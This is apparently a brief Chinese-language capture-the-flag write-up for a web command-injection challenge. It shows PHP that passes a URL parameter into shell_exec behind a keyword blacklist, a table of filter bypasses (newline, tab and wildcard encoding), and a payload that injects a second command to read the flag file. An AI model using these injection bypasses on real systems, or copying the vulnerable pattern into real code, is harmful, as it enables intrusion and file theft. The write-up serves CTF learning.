xmctf-web-RCE-wp

RCE

源代码

<?php
error_reporting(0);
highlight_file(__file__);
$ip = $_GET['ip'];
if (isset($ip)) {
  if(preg_match("/(;|`| |&|cp|mv|cat|tail|more|rev|tac|\*|\{)/i", $ip)){
      die("hack");
  }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
      die("no!>");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  var_dump($a);
}
?>

过滤的字符	绕过
| &	%0a
cat more	sort
flag	fla? fl?? f???

payload

ip=%0asort%09/fla?
或者
ip=127.0.0.1%0asort%09/fla?
其中%09是一个制表符的URL编码